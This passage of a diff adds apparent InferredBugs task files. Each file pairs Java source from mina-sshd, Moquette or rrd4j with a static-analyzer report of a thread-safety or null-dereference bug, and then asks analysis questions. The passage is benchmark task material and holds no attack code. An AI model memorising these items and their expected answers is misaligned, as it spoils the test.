+        int port2 = getFreePort();
+
+        TestEchoShellFactory shellFactory = new TestEchoShellFactory();
+        ProxyAgentFactory agentFactory = new ProxyAgentFactory();
+        LocalAgentFactory localAgentFactory = new LocalAgentFactory();
+
+        KeyPair pair = createTestKeyPairProvider("dsaprivkey.pem").loadKey(KeyPairProvider.SSH_DSS);
+        localAgentFactory.getAgent().addIdentity(pair, "smx");
+
+        SshServer sshd1 = SshServer.setUpDefaultServer();
+        sshd1.setPort(port1);
+        sshd1.setKeyPairProvider(Utils.createTestHostKeyProvider());
+        sshd1.setShellFactory(shellFactory);
+        sshd1.setPasswordAuthenticator(new BogusPasswordAuthenticator());
+        sshd1.setPublickeyAuthenticator(new BogusPublickeyAuthenticator());
+        sshd1.setAgentFactory(agentFactory);
+        sshd1.start();
+
+        SshServer sshd2 = SshServer.setUpDefaultServer();
+        sshd2.setPort(port2);
+        sshd2.setKeyPairProvider(Utils.createTestHostKeyProvider());
+        sshd2.setShellFactory(new TestEchoShellFactory());
+        sshd2.setPasswordAuthenticator(new BogusPasswordAuthenticator());
+        sshd2.setPublickeyAuthenticator(new BogusPublickeyAuthenticator());
+        sshd2.setAgentFactory(new ProxyAgentFactory());
+        sshd2.start();
+
+        SshClient client1 = SshClient.setUpDefaultClient();
+        client1.setAgentFactory(localAgentFactory);
+        client1.start();
+        ClientSession session1 = client1.connect("localhost", port1).await().getSession();
+        assertTrue(session1.authAgent("smx").await().isSuccess());
+        ChannelShell channel1 = session1.createShellChannel();
+        ByteArrayOutputStream sent = new ByteArrayOutputStream();
+        PipedOutputStream pipedIn = new TeePipedOutputStream(sent);
+        channel1.setIn(new PipedInputStream(pipedIn));
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayOutputStream err = new ByteArrayOutputStream();
+        channel1.setOut(out);
+        channel1.setErr(err);
+        channel1.setAgentForwarding(true);
+        channel1.open().await();
+
+        synchronized (shellFactory.shell) {
+            System.out.println("Possibly waiting for remote shell to start");
+            if (!shellFactory.shell.started) {
+                shellFactory.shell.wait();
+            }
+        }
+
+        SshClient client2 = SshClient.setUpDefaultClient();
+        client2.setAgentFactory(agentFactory);
+        client2.getProperties().putAll(shellFactory.shell.getEnvironment().getEnv());
+        client2.start();
+        ClientSession session2 = client2.connect("localhost", port2).await().getSession();
+        assertTrue(session2.authAgent("smx").await().isSuccess());
+        ChannelShell channel2 = session2.createShellChannel();
+        channel2.setIn(shellFactory.shell.getIn());
+        channel2.setOut(shellFactory.shell.getOut());
+        channel2.setErr(shellFactory.shell.getErr());
+        channel2.setAgentForwarding(true);
+        channel2.open().await();
+
+        pipedIn.write("foo\n".getBytes());
+        pipedIn.flush();
+
+        Thread.sleep(1000);
+
+        System.out.println(out.toString());
+        System.err.println(err.toString());
+
+    }
+
+    public static class TestEchoShellFactory extends EchoShellFactory {
+
+        TestEchoShell shell = new TestEchoShell();
+
+        @Override
+        public Command create() {
+            return shell;
+        }
+
+        public class TestEchoShell extends EchoShell {
+
+            boolean started;
+
+            @Override
+            public synchronized void start(Environment env) throws IOException {
+                super.start(env);
+                started = true;
+                notifyAll();
+            }
+
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.apache.sshd.AgentTest.testAgentForwarding` indirectly writes to field `channel1.org.apache.sshd.client.channel.AbstractClientChannel.in` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path channel1 has been contaminated during the execution, so the reported race on channel1.org.apache.sshd.client.channel.AbstractClientChannel.in might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AgentTest.testAgentForwarding()
+
+### Procedure Id:
+org.apache.sshd.AgentTest.testAgentForwarding():void.5128deb4780ec458305f41d6c33f48cf
+
+### File:
+sshd-core/src/test/java/org/apache/sshd/AgentTest.java
+
+### Key:
+AgentTest.java|testAgentForwarding|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+feac7d6690acf6a734a9baaa18a2382b
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6695/instruction.md b/inferredbugs-6695/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5f5d78234c77c90f18a2d1f5d647d8dcf8e0973f
--- /dev/null
+++ b/inferredbugs-6695/instruction.md
@@ -0,0 +1,209 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mina-sshd
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Licensed to the Apache Software Foundation (ASF) under one
+ *  or more contributor license agreements.  See the NOTICE file
+ *  distributed with this work for additional information
+ *  regarding copyright ownership.  The ASF licenses this file
+ *  to you under the Apache License, Version 2.0 (the
+ *  "License"); you may not use this file except in compliance
+ *  with the License.  You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing,
+ *  software distributed under the License is distributed on an
+ *  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ *  KIND, either express or implied.  See the License for the
+ *  specific language governing permissions and limitations
+ *  under the License.
+ *
+ */
+package org.apache.sshd.agent;
+
+import org.apache.tomcat.jni.Library;
+import org.apache.tomcat.jni.Pool;
+
+import java.io.File;
+import java.io.IOException;
+
+
+/**
+ * Internal singleton used for initializing correctly the APR native library
+ * and the associated root memory pool.
+ *
+ * It'll finalize nicely the native resources (libraries and memory pools).
+ *
+ * Each memory pool used in the APR transport module needs to be children of the
+ * root pool {@link AprLibrary#getRootPool()}.
+ *
+ * @author <a href="http://mina.apache.org">Apache MINA Project</a>
+ */
+class AprLibrary {
+
+    // is APR library was initialized (load of native libraries)
+    private static AprLibrary library = null;
+
+    /**
+     * get the shared instance of APR library, if none, initialize one
+     * @return the current APR library singleton
+     */
+    static synchronized AprLibrary getInstance() {
+        if (!isInitialized())
+            initialize();
+        return library;
+    }
+
+    /**
+     * initialize the APR Library by loading the associated native libraries
+     * and creating the associated singleton
+     */
+    private static synchronized void initialize() {
+        if (library == null)
+            library = new AprLibrary();
+    }
+
+    /**
+     * is the APR library was initialized.
+     * @return true if the Library is initialized, false otherwise
+     */
+    static synchronized boolean isInitialized() {
+        return library != null;
+    }
+
+    // APR memory pool (package wide mother pool)
+    private final long pool;
+
+    /**
+     * APR library singleton constructor. Called only when accessing the
+     * singleton the first time.
+     * It's initializing an APR memory pool for the whole package (a.k.a mother or root pool).
+     */
+    private AprLibrary() {
+        try {
+            Library.initialize(null);
+        } catch (Exception e) {
+            throw new RuntimeException(
+                    "Error loading Apache Portable Runtime (APR).", e);
+        }
+        pool = Pool.create(0);
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        library = null;
+        Pool.destroy(pool);
+        Library.terminate();
+        super.finalize();
+    }
+
+    /**
+     * get the package wide root pool, the mother of all the pool created
+     * in APR transport module.
+     * @return number identifying the root pool
+     */
+    long getRootPool() {
+        return pool;
+    }
+
+    static String createLocalSocketAddress() throws IOException {
+        String name;
+        String os = System.getProperty("os.name").toLowerCase();
+        if (os.indexOf("windows") < 0) {
+            File socket = File.createTempFile("mina", "apr");
+            socket.delete();
+            name = socket.getAbsolutePath();
+        } else {
+            File socket = File.createTempFile("mina", "apr");
+            socket.delete();
+            name = "\\\\.\\pipe\\" + socket.getName();
+        }
+        return name;
+    }
+
+    static void secureLocalSocket(String authSocket, long handle) throws IOException {
+        String os = System.getProperty("os.name").toLowerCase();
+        if (os.indexOf("windows") < 0) {
+            File file = new File(authSocket);
+            if (!file.setReadable(false, false) || !file.setReadable(true, true)
+                    || !file.setExecutable(false, false) || !file.setExecutable(true, true)) {
+                throw new IOException("Unable to secure local socket");
+            }
+
+        } else {
+            // should be ok on windows
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getProperty("os.name")` could be null and is dereferenced at line 123.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AprLibrary.secureLocalSocket(String,long)
+
+### Procedure Id:
+org.apache.sshd.agent.AprLibrary.secureLocalSocket(java.lang.String,long):void.2316151b197416009f4dedb301e0c03a
+
+### File:
+sshd-core/src/main/java/org/apache/sshd/agent/AprLibrary.java
+
+### Key:
+AprLibrary.java|secureLocalSocket|NULL_DEREFERENCE
+
+### Node Key:
+3136f63d7119a7aa69484bac205f617e
+
+### Hash:
+12d538cbecb77c52c7b88ec0eb2ee30d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6722/instruction.md b/inferredbugs-6722/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..61af0e6aa24e2af2cd536a996cc52eacf8da9116
--- /dev/null
+++ b/inferredbugs-6722/instruction.md
@@ -0,0 +1,450 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** server
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.dna.mqtt.moquette.server;
+
+import org.eclipse.paho.client.mqttv3.*;
+import org.eclipse.paho.client.mqttv3.persist.MqttDefaultFilePersistence;
+import org.junit.*;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static org.junit.Assert.*;
+
+public class ServerIntegrationPahoTest {
+    static class TestCallback implements MqttCallback {
+
+        private MqttMessage m_message;
+        private String m_topic;
+        private CountDownLatch m_latch = new CountDownLatch(1);
+
+        public MqttMessage getMessage() {
+            try {
+                m_latch.await(1, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                e.printStackTrace();  //To change body of catch statement use File | Settings | File Templates.
+            }
+            return m_message;
+        }
+
+        public String getTopic() {
+            try {
+                m_latch.await(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                e.printStackTrace();  //To change body of catch statement use File | Settings | File Templates.
+            }
+            return m_topic;
+        }
+
+        void reinit() {
+            m_latch = new CountDownLatch(1);
+            m_message = null;
+            m_topic = null;
+        }
+
+        public void connectionLost(Throwable cause) {
+            //To change body of implemented methods use File | Settings | File Templates.
+        }
+
+        public void messageArrived(String topic, MqttMessage message) throws Exception {
+            m_message = message;
+            m_topic = topic;
+            m_latch.countDown();
+        }
+
+        public void deliveryComplete(IMqttDeliveryToken token) {
+            //To change body of implemented methods use File | Settings | File Templates.
+        }
+    }
+
+    private static final Logger LOG = LoggerFactory.getLogger(ServerIntegrationPahoTest.class);
+
+    static MqttClientPersistence s_dataStore;
+    static MqttClientPersistence s_pubDataStore;
+    
+
+    Server m_server;
+    IMqttClient m_client;
+    TestCallback m_callback;
+
+    @BeforeClass
+    public static void beforeTests() {
+        String tmpDir = System.getProperty("java.io.tmpdir");
+        s_dataStore = new MqttDefaultFilePersistence(tmpDir);
+        s_pubDataStore = new MqttDefaultFilePersistence(tmpDir + File.separator + "publisher");
+    }
+
+    protected void startServer() throws IOException {
+        m_server = new Server();
+        m_server.startServer();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        startServer();
+
+        m_client = new MqttClient("tcp://localhost:1883", "TestClient", s_dataStore);
+        m_callback = new TestCallback();
+        m_client.setCallback(m_callback);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (m_client.isConnected()) {
+            m_client.disconnect();
+        }
+
+        m_server.stopServer();
+        File dbFile = new File(Server.STORAGE_FILE_PATH);
+        if (dbFile.exists()) {
+            dbFile.delete();
+        }
+    }
+
+    @Test
+    public void testSubscribe() throws Exception {
+        LOG.info("*** testSubscribe ***");
+        m_client.connect();
+        m_client.subscribe("/topic", 0);
+
+        MqttMessage message = new MqttMessage("Hello world!!".getBytes());
+        message.setQos(0);
+        message.setRetained(false);
+        m_client.publish("/topic", message);
+
+        assertEquals("/topic", m_callback.getTopic());
+    }
+
+
+    @Test
+    public void testCleanSession_maintainClientSubscriptions() throws Exception {
+        LOG.info("*** testCleanSession_maintainClientSubscriptions ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 0);
+        m_client.disconnect();
+
+        //reconnect and publish
+        MqttClient anotherClient = new MqttClient("tcp://localhost:1883", "TestClient", s_dataStore);
+        m_callback = new TestCallback();
+        anotherClient.setCallback(m_callback);
+        anotherClient.connect(options);
+        anotherClient.publish("/topic", "Test my payload".getBytes(), 0, false);
+
+        assertEquals("/topic", m_callback.getTopic());
+    }
+
+
+    @Test
+    public void testCleanSession_maintainClientSubscriptions_againstClientDestruction() throws Exception {
+        LOG.info("*** testCleanSession_maintainClientSubscriptions_againstClientDestruction ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 0);
+        m_client.disconnect();
+
+        //reconnect and publish
+        m_client.connect(options);
+        m_client.publish("/topic", "Test my payload".getBytes(), 0, false);
+
+        assertEquals("/topic", m_callback.getTopic());
+    }
+
+    /**
+     * Check that after a client has connected with clean session false, subscribed
+     * to some topic and exited, if it reconnect with clean session true, the m_server
+     * correctly cleanup every previous subscription
+     */
+    @Test
+    public void testCleanSession_correctlyClientSubscriptions() throws Exception {
+        LOG.info("*** testCleanSession_correctlyClientSubscriptions ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 0);
+        m_client.disconnect();
+
+        //reconnect and publish
+        m_client.connect();
+        m_client.publish("/topic", "Test my payload".getBytes(), 0, false);
+
+        assertNull(m_callback.getMessage());
+    }
+
+    @Test
+    public void testCleanSession_maintainClientSubscriptions_withServerRestart() throws Exception {
+        LOG.info("*** testCleanSession_maintainClientSubscriptions_withServerRestart ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 0);
+        m_client.disconnect();
+
+        m_server.stopServer();
+
+        m_server.startServer();
+
+        //reconnect and publish
+        m_client.connect(options);
+        m_client.publish("/topic", "Test my payload".getBytes(), 0, false);
+
+        assertEquals("/topic", m_callback.getTopic());
+    }
+
+    @Test
+    public void testRetain_maintainMessage_againstClientDestruction() throws Exception {
+        LOG.info("*** testRetain_maintainMessage_againstClientDestruction ***");
+        m_client.connect();
+        m_client.publish("/topic", "Test my payload".getBytes(), 0, true);
+
+        m_client.disconnect();
+
+        //reconnect and publish
+        m_client.connect();
+        m_client.subscribe("/topic", 0);
+
+        assertEquals("/topic", m_callback.getTopic());
+    }
+
+    @Test
+    public void testUnsubscribe_do_not_notify_anymore_same_session() throws Exception {
+        LOG.info("*** testUnsubscribe_do_not_notify_anymore_same_session ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 0);
+        m_client.publish("/topic", "Test my payload".getBytes(), 0, false);
+        //m_client.disconnect();
+        assertEquals("/topic", m_callback.getTopic());
+
+        m_client.unsubscribe("/topic");
+        m_callback.reinit();
+        m_client.publish("/topic", "Test my payload".getBytes(), 0, false);
+
+        assertNull(m_callback.getMessage());
+    }
+
+    @Test
+    public void testUnsubscribe_do_not_notify_anymore_new_session() throws Exception {
+        LOG.info("*** testUnsubscribe_do_not_notify_anymore_new_session ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 0);
+        m_client.publish("/topic", "Test my payload".getBytes(), 0, false);
+        //m_client.disconnect();
+        assertEquals("/topic", m_callback.getTopic());
+
+        m_client.unsubscribe("/topic");
+        m_client.disconnect();
+
+        m_callback.reinit();
+        m_client.connect(options);
+        m_client.publish("/topic", "Test my payload".getBytes(), 0, false);
+
+        assertNull(m_callback.getMessage());
+    }
+
+    @Test
+    public void testPublishWithQoS1() throws Exception {
+        LOG.info("*** testPublishWithQoS1 ***");
+        m_client.connect();
+        m_client.subscribe("/topic", 1);
+        m_client.publish("/topic", "Hello MQTT".getBytes(), 1, false);
+        m_client.disconnect();
+
+        //reconnect and publish
+        assertEquals("Hello MQTT", m_callback.getMessage().toString());
+        assertEquals(1, m_callback.getMessage().getQos());
+    }
+
+    @Test
+    public void testPublishWithQoS1_notCleanSession() throws Exception {
+        LOG.info("*** testPublishWithQoS1_notCleanSession ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 1);
+        m_client.disconnect();
+
+        //publish a QoS 1 message another client publish a message on the topic
+        publishFromAnotherClient("/topic", "Hello MQTT".getBytes(), 1);
+
+        m_client.connect(options);
+
+        assertEquals("Hello MQTT", m_callback.getMessage().toString());
+    }
+    
+    @Test
+    public void checkReceivePublishedMessage_after_a_reconnect_with_notCleanSession() throws Exception {
+        LOG.info("*** checkReceivePublishedMessage_after_a_reconnect_with_notCleanSession ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 1);
+        m_client.disconnect();
+        
+        m_client.connect(options);
+        m_client.subscribe("/topic", 1);
+        
+        //publish a QoS 1 message another client publish a message on the topic
+        publishFromAnotherClient("/topic", "Hello MQTT".getBytes(), 1); 
+        
+        //Verify that after a reconnection the client receive the message
+        assertNotNull(m_callback.getMessage());
+        assertEquals("Hello MQTT", m_callback.getMessage().toString());
+    }
+ 
+    private void publishFromAnotherClient(String topic, byte[] payload, int qos) throws Exception {
+        IMqttClient anotherClient = new MqttClient("tcp://localhost:1883", "TestClientPUB", s_pubDataStore);
+        anotherClient.connect();
+        anotherClient.publish(topic, payload, qos, false);
+        anotherClient.disconnect();
+    }
+
+    //BUG
+    @Test
+    public void testPublishWithQoS2() throws Exception {
+        LOG.info("*** testPublishWithQoS2 ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 2);
+        m_client.disconnect();
+
+        //publish a QoS 1 message another client publish a message on the topic
+        publishFromAnotherClient("/topic", "Hello MQTT".getBytes(), 2);
+        m_callback.reinit();
+        m_client.connect(options);
+        
+        assertEquals("Hello MQTT", m_callback.getMessage().toString());
+        assertEquals(2, m_callback.getMessage().getQos());
+    }
+
+    @Test
+    public void testPublishReceiveWithQoS2() throws Exception {
+        LOG.info("*** testPublishReceiveWithQoS2 ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 2);
+        m_client.disconnect();
+
+        //publish a QoS 2 message another client publish a message on the topic
+        publishFromAnotherClient("/topic", "Hello MQTT".getBytes(), 2);
+        m_callback.reinit();
+        m_client.connect(options);
+        
+        assertNotNull(m_callback);
+        assertNotNull(m_callback.getMessage());
+        assertEquals("Hello MQTT", m_callback.getMessage().toString());
+    }
+    
+    @Test
+    public void avoidMultipleNotificationsAfterMultipleReconnection_cleanSessionFalseQoS1() throws Exception {
+        LOG.info("*** avoidMultipleNotificationsAfterMultipleReconnection_cleanSessionFalseQoS1, issue #16 ***");
+        MqttConnectOptions options = new MqttConnectOptions();
+        options.setCleanSession(false);
+        m_client.connect(options);
+        m_client.subscribe("/topic", 1);
+        m_client.disconnect();
+        
+        publishFromAnotherClient("/topic", "Hello MQTT 1".getBytes(), 1);
+        m_callback.reinit();
+        m_client.connect(options);
+        
+        assertNotNull(m_callback);
+        assertNotNull(m_callback.getMessage());
+        assertEquals("Hello MQTT 1", m_callback.getMessage().toString());
+        m_client.disconnect();
+        
+        //publish other message
+        publishFromAnotherClient("/topic", "Hello MQTT 2".getBytes(), 1);
+        
+        //reconnect the second time
+        m_callback.reinit();
+        m_client.connect(options);
+        assertNotNull(m_callback);
+        assertNotNull(m_callback.getMessage());
+        assertEquals("Hello MQTT 2", m_callback.getMessage().toString());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `ServerIntegrationPahoTest.m_callback.getMessage()` could be null and is dereferenced at line 362.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ServerIntegrationPahoTest.avoidMultipleNotificationsAfterMultipleReconnection_cleanSessionFalseQoS1()
+
+### Procedure Id:
+org.dna.mqtt.moquette.server.ServerIntegrationPahoTest.avoidMultipleNotificationsAfterMultipleReconn.ce22a8fb48aad29ba5a3532da0ece281
+
+### File:
+broker/src/test/java/org/dna/mqtt/moquette/server/ServerIntegrationPahoTest.java
+
+### Key:
+ServerIntegrationPahoTest.java|avoidMultipleNotificationsAfterMultipleReconnection_cleanSessionFalseQoS1|NULL_DEREFERENCE
+
+### Node Key:
+b36a47f8c37a83daf33a009ca0f8c797
+
+### Hash:
+2a8b3de93b80ea8730b265809afa8207
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6802/instruction.md b/inferredbugs-6802/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c3d0f90933c9a8bccd985b432dedbe4a8da0fa47
--- /dev/null
+++ b/inferredbugs-6802/instruction.md
@@ -0,0 +1,471 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rrd4j
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.rrd4j.core;
+
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
+
+/**
+ * This class should be used to synchronize access to RRD files
+ * in a multithreaded environment. This class should be also used to prevent opening of
+ * too many RRD files at the same time (thus avoiding operating system limits).
+ * <p>
+ * It's much more scalable than the previous pool
+ */
+public class RrdDbPool {
+    private static class RrdDbPoolSingletonHolder {
+        static final RrdDbPool instance = new RrdDbPool();
+    }
+
+    /**
+     * Initial capacity of the pool i.e. maximum number of simultaneously open RRD files. The pool will
+     * never open too many RRD files at the same time.
+     */
+    public static final int INITIAL_CAPACITY = 200;
+
+    static private class RrdEntry {
+        RrdDb rrdDb = null;
+        int count = 0;
+        final CountDownLatch waitempty;
+        final CountDownLatch inuse;
+        final boolean placeholder;
+        final String canonicalPath;
+        RrdEntry(boolean placeholder, String canonicalPath) {
+            this.placeholder = placeholder;
+            this.canonicalPath = canonicalPath;
+            if( placeholder) {
+                inuse = new CountDownLatch(1);
+                waitempty = null;
+            } else {
+                inuse = null;
+                waitempty = new CountDownLatch(1);
+            }
+        }
+        @Override
+        public String toString() {
+            return placeholder + "@" + canonicalPath;
+        }        
+    }
+
+    /**
+     * Creates a single instance of the class on the first call,
+     * or returns already existing one. Uses Initialization On Demand Holder idiom.
+     *
+     * @return Single instance of this class
+     * @throws java.lang.RuntimeException Thrown if the default RRD backend is not derived from the {@link org.rrd4j.core.RrdFileBackendFactory}
+     */
+    public static RrdDbPool getInstance() {
+        return RrdDbPoolSingletonHolder.instance;
+    }
+
+    private Semaphore capacity;
+    private int maxCapacity = INITIAL_CAPACITY;
+
+    private final ConcurrentMap<String, RrdEntry> pool = new ConcurrentHashMap<String, RrdEntry>(INITIAL_CAPACITY);
+
+    /**
+     * <p>Constructor for RrdDbPool.</p>
+     * 
+     * Not private, used by junit tests
+     */
+    RrdDbPool() {
+        if (!(RrdBackendFactory.getDefaultFactory() instanceof RrdFileBackendFactory)) {
+            throw new RuntimeException("Cannot create instance of " + getClass().getName() + " with " +
+                    "a default backend factory not derived from RrdFileBackendFactory");
+        }
+        capacity = new Semaphore(maxCapacity, true);
+    }
+
+    /**
+     * Returns the number of open RRD files.
+     *
+     * @return Number of currently open RRD files held in the pool.
+     */
+    public int getOpenFileCount() {
+        return maxCapacity - capacity.availablePermits();
+    }
+
+    /**
+     * Returns an array of open file names.
+     *
+     * @return Array with canonical paths to open RRD files held in the pool.
+     */
+    public String[] getOpenFiles() {
+        //Direct toarray from keySet can fail
+        Set<String> files = new HashSet<String>();
+        files.addAll(pool.keySet());
+        return files.toArray(new String[0]);
+    }
+
+    private RrdEntry getEntry(String path, boolean cancreate) throws IOException, InterruptedException {
+        String canonicalPath = Util.getCanonicalPath(path);
+        RrdEntry ref = null;
+        while(ref == null || ref.placeholder) {
+            ref = pool.get(canonicalPath);
+            if(ref == null) {
+                //Slot empty
+                //If still absent put a place holder, and create the entry
+                ref = pool.putIfAbsent(canonicalPath, new RrdEntry(true, canonicalPath));
+                if(ref == null) {
+                    return cancreate ? new RrdEntry(false, canonicalPath) : null;                    
+                }               
+            } else if(! ref.placeholder) {
+                // Real entry, try to put a place holder if some one did'nt get it meanwhile
+                if(pool.replace(canonicalPath, ref, new RrdEntry(true, canonicalPath))) {
+                    return ref;
+                }
+            }
+            // Reached only if a place holder and not null
+            // Wait for other tasks to be finished
+            ref.inuse.await();
+        }
+        return ref;
+    }
+
+    private enum ACTION {
+        SWAP, DROP;
+    };
+
+    private void passNext(ACTION a, RrdEntry e) {
+        RrdEntry o = null;
+        switch (a) {
+        case SWAP:
+            o = pool.put(e.canonicalPath, e);
+            break;
+        case DROP:
+            o = pool.remove(e.canonicalPath);
+            break;
+        }
+        //task finished, waiting on a place holder can go on
+        if(o != null) {
+            o.inuse.countDown();
+        }             
+
+    }
+
+    /**
+     * Releases RrdDb reference previously obtained from the pool. When a reference is released, its usage
+     * count is decremented by one. If usage count drops to zero, the underlying RRD file will be closed.
+     *
+     * @param rrdDb RrdDb reference to be returned to the pool
+     * @throws java.io.IOException Thrown in case of I/O error
+     */
+    public void release(RrdDb rrdDb) throws IOException {
+        // null pointer should not kill the thread, just ignore it
+        if (rrdDb == null) {
+            return;
+        }
+
+        RrdEntry ref;
+        try {
+            ref = getEntry(rrdDb.getPath(), false);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("release interrupted for " + rrdDb, e);
+        }
+        if(ref == null) {
+            return;
+        }
+
+        if (ref.count <= 0) {
+            passNext(ACTION.DROP, ref);
+            throw new IllegalStateException("Could not release [" + rrdDb.getPath() + "], the file was never requested");
+        }
+        if (--ref.count == 0) {
+            if(ref.rrdDb == null) {
+                passNext(ACTION.DROP, ref);
+                throw new IllegalStateException("Could not release [" + rrdDb.getPath() + "], pool corruption");                    
+            }
+            ref.rrdDb.close();
+            capacity.release();
+            passNext(ACTION.DROP, ref);
+            //If someone is waiting for an empty entry, signal it
+            ref.waitempty.countDown();
+        } else {
+            passNext(ACTION.SWAP, ref);
+        }
+    }
+
+    /**
+     * Requests a RrdDb reference for the given RRD file path.<p>
+     * <ul>
+     * <li>If the file is already open, previously returned RrdDb reference will be returned. Its usage count
+     * will be incremented by one.
+     * <li>If the file is not already open and the number of already open RRD files is less than
+     * {@link #INITIAL_CAPACITY}, the file will be open and a new RrdDb reference will be returned.
+     * If the file is not already open and the number of already open RRD files is equal to
+     * {@link #INITIAL_CAPACITY}, the method blocks until some RRD file is closed.
+     * </ul>
+     *
+     * @param path Path to existing RRD file
+     * @return reference for the give RRD file
+     * @throws java.io.IOException Thrown in case of I/O error
+     */
+    public RrdDb requestRrdDb(String path) throws IOException {
+        RrdEntry ref;
+        try {
+            ref = getEntry(path, true);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("request interrupted for " + path, e);
+        }
+
+        try {
+            //Not opened
+            if(ref.count == 0) {
+                try {
+                    capacity.acquire();
+                } catch (InterruptedException e) {
+                    throw new RuntimeException("RrdDb acquire interrupted", e);
+                }
+                try {
+                    ref.rrdDb = new RrdDb(path);
